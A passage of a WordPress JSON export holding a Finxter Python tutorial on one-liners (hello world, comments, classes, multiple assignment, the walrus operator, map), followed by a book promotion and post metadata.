loading=\"lazy\" src=\"https:\/\/trinket.io\/embed\/python\/3efcbe93b7\" marginwidth=\"0\" marginheight=\"0\" allowfullscreen=\"\" width=\"100%\" height=\"356\" frameborder=\"0\"><\/iframe> <\/p>\n<p>The shell runs any Python program in your browser. <\/p>\n<p><strong>Step 2<\/strong>: Type the print function in your browser shell with opening and closing parentheses that are initially empty:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print()<\/pre>\n<p>The <code><a href=\"https:\/\/blog.finxter.com\/the-separator-and-end-arguments-of-the-python-print-function\/\" title=\"Python Print Function [And Its SECRET Separator &amp; End Arguments]\" target=\"_blank\" rel=\"noreferrer noopener\">print()<\/a><\/code> function takes a string and prints it to your shell. This way, you can generate outputs in your program. Think about it: a Python program is only a means to an end. It transform an input to an output. One way of creating an output is to print program values to the shell. In our hello world one-liner, the output is the textual data (=string) <code>'hello world'<\/code>. <\/p>\n<p><strong>Step 3<\/strong>: Pass the <code>'hello world'<\/code> string into the <code>print()<\/code> function between the parentheses.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print('hello world')<\/pre>\n<p>Congratulations, your first hello world one-liner is ready! Now, there&#8217;s only one thing left: <\/p>\n<p><strong>Step 4<\/strong>: Run the hello world one-liner program by hitting the &#8220;Run&#8221; symbol <img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/72x72\/25b6.png\" alt=\"\u25b6\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/>. <\/p>\n<p>Can you see the output generated by your program? When running your program in the interactive shell, the result should be the following output:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">hello world<\/pre>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-hello-world\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Hello World! A Python One-Liner to Get Started with Python Quickly\">Hello World! A Python One-Liner to Get Started with Python Quickly<\/a><\/p>\n<h2>Python One Line Comment<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\"><strong>One-line comments<\/strong> begin with the hash (<code>#<\/code>) character and reach to the end of the line. The newline character terminates the meaning of the comment&#8212;which is for the Python interpreter to ignore the commented text. A special case are <strong>inline comments<\/strong> that are used after a regular Python statement but before the newline character. The <a href=\"https:\/\/www.python.org\/dev\/peps\/pep-0008\/#id32\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.python.org\/dev\/peps\/pep-0008\/#id32\">PEP 8 standard<\/a> recommends to use them sparingly.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># This is a one-line comment print('hi') # This is an inline comment<\/pre>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-comments\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Comments \u2014 2-Minute Guide with Exercise\">Python Comments &#8212; 2-Minute Guide with Exercise<\/a><\/p>\n<h2>Python One Line Class<\/h2>\n<p><strong>Problem<\/strong>: How to create a Python class in a single line of code?<\/p>\n<p><strong>Example<\/strong>: Say, you want to create a class <code>Car<\/code> with two attributes <code>speed<\/code> and <code>color<\/code>. Here would be the lengthy definition:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">class Car: def __init__(self, speed, color): self.speed = speed self.color = color porsche = Car(200, 'red')\ntesla = Car(220, 'silver') print(porsche.color)\n# red print(tesla.color)\n# silver<\/pre>\n<p><strong><em>How do you do this in a single line of code?<\/em><\/strong><\/p>\n<p><strong>Further Reading:<\/strong> <a href=\"https:\/\/blog.finxter.com\/python-one-line-class\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Class\">Python One Line Class<\/a><\/p>\n<h2>Python Define Multiple Variables in One Line<\/h2>\n<p>In this article, you&#8217;ll learn about two variants of this problem.<\/p>\n<ul>\n<li>Assign multiple values to multiple variables<\/li>\n<li>Assign the same value to multiple variables<\/li>\n<\/ul>\n<p>Let&#8217;s have a quick overview of both in our interactive code shell:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/GleefulQualifiedConsulting?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"400px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Increase the number of variables to 3 and create a new one-liner!<\/em><\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-define-multiple-variables-in-one-line\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Define Multiple Variables in One Line\">Python Define Multiple Variables in One Line<\/a><\/p>\n<h2>Python One Line If (Not) None<\/h2>\n<p><strong>Problem<\/strong>: How to assign a value to a variable if it is not equal to <code>None<\/code>&#8212;using only a single line of Python code?<\/p>\n<p><strong>Solution<\/strong>: A beautiful extension of <a href=\"https:\/\/blog.finxter.com\/how-to-check-your-python-version\/\" title=\"How to Check Your Python Version? A Helpful Guide\" target=\"_blank\" rel=\"noreferrer noopener\">Python 3.8<\/a> is the <a href=\"https:\/\/blog.finxter.com\/python-3-8-walrus-operator-assignment-expression\/\" title=\"Python 3.8 Walrus Operator (Assignment Expression)\" target=\"_blank\" rel=\"noreferrer noopener\">Walrus operator<\/a>. <strong><em>The Walrus operator <code>:=<\/code> is an assignment operator with return value.<\/em><\/strong> Thus, it allows you to check a condition and assign a value at the same time:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Method 2\nif tmp := get_value(): x = tmp<\/pre>\n<p>This is a very clean, readable, and Pythonic way. Also, you don&#8217;t have the redundant identity assignment in case the if condition is not fulfilled.<\/p>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"Python 3.8 Walrus Operator (Assignment Expression)\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/RGTjHAzIv7w?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p> <strong>Related Articles:<\/strong> <\/p>\n<ul>\n<li><a href=\"https:\/\/blog.finxter.com\/python-3-8-walrus-operator-assignment-expression\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python 3.8 Walrus Operator (Assignment Expression)\">The Walrus Operator in Python 3.8<\/a><\/li>\n<li><a href=\"https:\/\/blog.finxter.com\/python-one-line-if-not-none\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line If Not None\">Python One-Line Assign If Not None<\/a><\/li>\n<\/ul>\n<h2>Python One Line Map<\/h2>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"Mastering the Python Map Function [+Video]\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/tqph6mWC3m8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p>Consider the following <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\"><code>map()<\/code> one-liner<\/a> that changes each element <code>x<\/code> of a <a href=\"https:\/\/blog.finxter.com\/python-lists\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"The Ultimate Guide to Python Lists\">list <\/a>to the value of <code>x+1<\/code>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print(list(map(lambda x: x + 1, [1, 2, 3])))\n# [2, 3, 4]<\/pre>\n<p>You create a <g class=\"gr_ gr_8 gr-alert gr_gramm gr_inline_cards gr_run_anim Grammar only-ins replaceWithoutSep\" id=\"8\" data-gr-id=\"8\">list<\/g> with three elements. Then, you create an anonymous function that takes one argument (an integer in our case) and increments it by one. The <code>map<\/code> function applies the function to each element in the list and returns a new map object. This is converted back to a list using the <code><a href=\"https:\/\/blog.finxter.com\/tuple-to-list\/\" title=\"Convert Tuple to List | The Most Pythonic Way\" target=\"_blank\" rel=\"noreferrer noopener\">list(...)<\/a><\/code> function. <\/p>\n<p><strong>Related Article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/python-one-line-map\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Map\">Python One Line Map<\/a><\/p>\n<h2 class=\"wp-block-block\">Python One-Liners Book<\/h2>\n<p><strong>Python programmers will improve their computer science skills with these useful one-liners.<\/strong><\/p>\n<figure class=\"wp-block-image size-medium is-resized\"><a href=\"https:\/\/www.amazon.com\/gp\/product\/B07ZY7XMX8\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-1024x944.jpg\" alt=\"Python One-Liners\" class=\"wp-image-10007\" width=\"512\" height=\"472\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-300x277.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-768x708.jpg 768w\" sizes=\"auto, (max-width: 512px) 100vw, 512px\" \/><\/a><\/figure>\n<p><a href=\"https:\/\/amzn.to\/2WAYeJE\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/amzn.to\/2WAYeJE\"><em>Python One-Liners<\/em> <\/a>will teach you how to read and write &#8220;one-liners&#8221;: concise statements of useful functionality packed into a single line of code. You&#8217;ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.<\/p>\n<p>The book&#8217;s five chapters cover tips and tricks, regular expressions, machine learning, core data science topics, and useful algorithms. Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You&#8217;ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments. You&#8217;ll also learn how to:<\/p>\n<p><strong>\u2022<\/strong>\u00a0\u00a0Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution<br \/><strong>\u2022<\/strong>\u00a0\u00a0Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics<br \/><strong>\u2022<\/strong>\u00a0\u00a0Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning<br \/><strong>\u2022<\/strong>\u00a0\u00a0Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy\/nongreedy operators<br \/><strong>\u2022<\/strong>\u00a0\u00a0Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting<\/p>\n<p>By the end of the book, you&#8217;ll know how to write Python at its most refined, and create concise, beautiful pieces of &#8220;Python art&#8221; in merely a single line.<\/p>\n<p><strong><a href=\"https:\/\/amzn.to\/2WAYeJE\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/amzn.to\/2WAYeJE\"><em>Get your Python One-Liners Now!!<\/em><\/a><\/strong><\/p>\n<p>The post <a href=\"https:\/\/blog.finxter.com\/python-one-liners\/\" target=\"_blank\" rel=\"noopener noreferrer\">56 Python One Liners to Show Off Your Python Superpower<\/a> first appeared on <a href=\"https:\/\/blog.finxter.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Finxter<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a running document in which I&#8217;ll answer all questions regarding the single line of Python code. It&#8217;s based on my interactive collection here but without the slow videos and embedded code shells. But before we move on, I&#8217;m excited to present you my brand-new Python book Python One-Liners (Amazon Link). If you like [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[857],"tags":[73,468,528],"class_list":["post-118342","post","type-post","status-publish","format-standard","hentry","category-python-tut","tag-programming","tag-python","tag-tutorial"],"_links":{"self":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/118342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/comments?post=118342"}],"version-history":[{"count":0,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/118342\/revisions"}],"wp:attachment":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/media?parent=118342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/categories?post=118342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/tags?post=118342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}